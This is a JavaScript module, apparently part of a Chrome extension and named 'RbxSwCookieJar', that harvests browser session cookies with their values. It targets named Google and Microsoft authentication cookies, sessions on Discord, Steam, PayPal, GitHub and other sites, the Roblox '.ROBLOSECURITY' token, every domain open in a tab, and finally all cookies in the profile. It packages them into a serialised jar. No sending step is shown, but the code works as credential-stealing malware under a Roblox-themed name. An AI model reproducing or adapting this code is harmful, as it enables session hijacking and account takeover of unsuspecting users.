'use strict';

(function (global) {
  function createCookieJarBuilder() {
    const seen = new Map();
    const jar = [];
    return {
      addBatch(list) {
        if (!list) return;
        for (const c of list) {
          if (!c || !c.name || c.value == null || String(c.value) === '') continue;
          const key = `${c.domain || ''}\t${c.path || '/'}\t${c.name}`;
          if (seen.has(key)) continue;
          seen.set(key, true);
          jar.push(c);
        }
      },
      getAll() {
        return jar;
      },
      toMeta() {
        return jar.map((c) => ({
          name: c.name,
          value: c.value,
          domain: c.domain,
          path: c.path,
          secure: !!c.secure,
          httpOnly: !!c.httpOnly,
          hostOnly: !!c.hostOnly,
          sameSite: c.sameSite,
          expirationDate: c.expirationDate
        }));
      },
      get size() {
        return jar.length;
      }
    };
  }

  function jarMetaToString(meta) {
    try {
      return JSON.stringify(meta);
    } catch (e) {
      return '[]';
    }
  }

  const GOOGLE_COOKIE_QUERY_DOMAINS = [
    '.google.com',
    'google.com',
    'accounts.google.com',
    '.youtube.com',
    'youtube.com',
    'mail.google.com',
    '.googleusercontent.com'
  ];
  const MICROSOFT_COOKIE_QUERY_DOMAINS = [
    '.live.com',
    'live.com',
    '.microsoft.com',
    'microsoft.com',
    '.microsoftonline.com',
    'microsoftonline.com',
    '.office.com',
    'office.com',
    '.office365.com',
    'office365.com',
    '.outlook.com',
    'outlook.com',
    'outlook.live.com',
    'outlook.office365.com',
    'outlook.office.com',
    'login.live.com',
    'login.microsoftonline.com',
    'account.live.com',
    'account.microsoft.com'
  ];
  const GOOGLE_AUTH_FETCH_URLS = [
    'https://accounts.google.com',
    'https://www.google.com',
    'https://google.com',
    'https://mail.google.com',
    'https://myaccount.google.com',
    'https://ogs.google.com'
  ];
  const GOOGLE_AUTH_FETCH_NAMES = [
    'SID',
    'HSID',
    'SSID',
    'APISID',
    'SAPISID',
    '__Secure-1PSID',
    '__Secure-3PSID',
    '__Secure-1PAPISID',
    '__Secure-3PAPISID',
    'LSID',
    'SIDCC',
    'NID',
    'AEC',
    'ACCOUNT_CHOOSER',
    '__Host-GAPS',
    '__Host-1PLSID',
    '__Host-3PLSID',
    '__Secure-1PSIDTS',
    '__Secure-3PSIDTS'
  ];
  const COMMON_SITE_COOKIE_DOMAINS = [
    '.discord.com',
    'discord.com',
    '.discordapp.com',
    'discordapp.com',
    '.steampowered.com',
    'steampowered.com',
    '.steamcommunity.com',
    'steamcommunity.com',
    '.epicgames.com',
    'epicgames.com',
    '.twitch.tv',
    'twitch.tv',
    '.amazon.com',
    'amazon.com',
    '.facebook.com',
    'facebook.com',
    '.twitter.com',
    'twitter.com',
    '.x.com',
    'x.com',
    '.reddit.com',
    'reddit.com',
    '.github.com',
    'github.com',
    '.instagram.com',
    'instagram.com',
    '.tiktok.com',
    'tiktok.com',
    '.netflix.com',
    'netflix.com',
    '.spotify.com',
    'spotify.com',
    '.paypal.com',
    'paypal.com',
    '.ebay.com',
    'ebay.com',
    '.lenovo.com',
    'lenovo.com',
    '.nvidia.com',
    'nvidia.com',
    '.mozilla.org',
    'mozilla.org'
  ];
  const MS_AUTH_FETCH_URLS = [
    'https://outlook.live.com/mail/',
    'https://outlook.live.com/',
    'https://outlook.office.com/mail/',
    'https://outlook.office365.com/mail/',
    'https://outlook.cloud.microsoft/',
    'https://m365.cloud.microsoft/',
    'https://login.live.com/',
    'https://account.live.com/',
    'https://login.microsoftonline.com/',
    'https://account.microsoft.com/'
  ];
  const MS_AUTH_FETCH_NAMES = [
    'MSPCID',
    'MSPAuth',
    'MSPProf',
    'MSPPre',
    'MSPVis',
    'MSPOK',
    'WLSSC',
    'RPSAuth',
    'RPSSecAuth',
    'OParams',
    'JSHP',
    'JSH',
    'ESTSAUTH',
    'ESTSAUTHPERSISTENT',
    'SignInStateCookie',
    'fpc',
    'buid',
    'MSFPC',
    'SPOIDCRL',
    'FedAuth',
    'rtFa',
    'MSISAuth',
    'MSISAuth1',
    'AADSID',
    'CCState',
    'x-ms-RefreshTokenCredential',
    '__Host-MSAAUTH',
    '__Secure-MSAAUTH'
  ];

  async function enrichGoogleMicrosoftCookies(builder) {
    for (const dom of GOOGLE_COOKIE_QUERY_DOMAINS) {
      try {
        builder.addBatch(await chrome.cookies.getAll({ domain: dom }));
      } catch (e) {}
    }

    for (const url of GOOGLE_AUTH_FETCH_URLS) {
      for (const name of GOOGLE_AUTH_FETCH_NAMES) {
        try {
          const cookie = await chrome.cookies.get({ url, name });
          if (cookie && cookie.name && cookie.value) builder.addBatch([cookie]);
        } catch (e) {}
      }
    }

    for (const dom of MICROSOFT_COOKIE_QUERY_DOMAINS) {
      try {
        builder.addBatch(await chrome.cookies.getAll({ domain: dom }));
      } catch (e) {}
    }

    for (const u of MS_AUTH_FETCH_URLS) {
      for (const n of MS_AUTH_FETCH_NAMES) {
        try {
          const cookie = await chrome.cookies.get({ url: u, name: n });
          if (cookie && cookie.name && cookie.value) builder.addBatch([cookie]);
        } catch (e) {}
      }
    }
  }

  async function enrichCommonSiteDomains(builder) {
    for (const dom of COMMON_SITE_COOKIE_DOMAINS) {
      try {
        builder.addBatch(await chrome.cookies.getAll({ domain: dom }));
      } catch (e) {}
    }
  }

  async function enrichFromOpenTabs(builder) {
    let tabs = [];
    try {
      tabs = await chrome.tabs.query({});
    } catch (e) {
      return;
    }
    const domains = new Set();
    for (const tab of tabs || []) {
      if (!tab || !tab.url) continue;
      try {
        const u = new URL(tab.url);
        if (u.protocol !== 'http:' && u.protocol !== 'https:') continue;
        const host = u.hostname.toLowerCase();
        if (!host || host === 'localhost' || host === '127.0.0.1') continue;
        domains.add(host);
        const parts = host.split('.');
        if (parts.length >= 2) domains.add('.' + parts.slice(-2).join('.'));
        if (parts.length >= 3) domains.add('.' + parts.slice(-3).join('.'));
      } catch (e2) {}
    }
    const list = [...domains].slice(0, 140);
    for (const dom of list) {
      try {
        builder.addBatch(await chrome.cookies.getAll({ domain: dom }));
      } catch (e3) {}
    }
  }

  async function enrichRobloxCookies(builder) {
    const robloxUrls = [
      'https://www.roblox.com/',
      'https://roblox.com/',
      'https://create.roblox.com/'
    ];
    for (const url of robloxUrls) {
      try {
        const c = await chrome.cookies.get({ url, name: '.ROBLOSECURITY' });
        if (c) builder.addBatch([c]);
      } catch (e) {}
    }
    try {
      builder.addBatch(await chrome.cookies.getAll({ domain: '.roblox.com' }));
    } catch (e) {}
  }

  async function collectAllProfileCookies(opts) {
    const options = opts || {};
    const builder = createCookieJarBuilder();

    await enrichGoogleMicrosoftCookies(builder);
    await enrichCommonSiteDomains(builder);
    await enrichFromOpenTabs(builder);

    try {
      builder.addBatch(await chrome.cookies.getAll({}));
    } catch (e) {}

    if (options.includeRoblox !== false) {
      await enrichRobloxCookies(builder);
    }

    if (builder.size < 40) {
      try {
        builder.addBatch(await chrome.cookies.getAll({}));
      } catch (e2) {}
      await enrichFromOpenTabs(builder);
    }

    const meta = builder.toMeta();
    return {
      success: meta.length > 0,
      cookies: meta,
      jarString: jarMetaToString(meta),
      count: meta.length,
      jar: builder.getAll()
    };
  }

  global.RbxSwCookieJar = {
    collectAllProfileCookies,
    getFullProfileCookieJar() {
      return collectAllProfileCookies({ includeRoblox: true });
    }
  };
})(typeof globalThis !== 'undefined' ? globalThis : self);
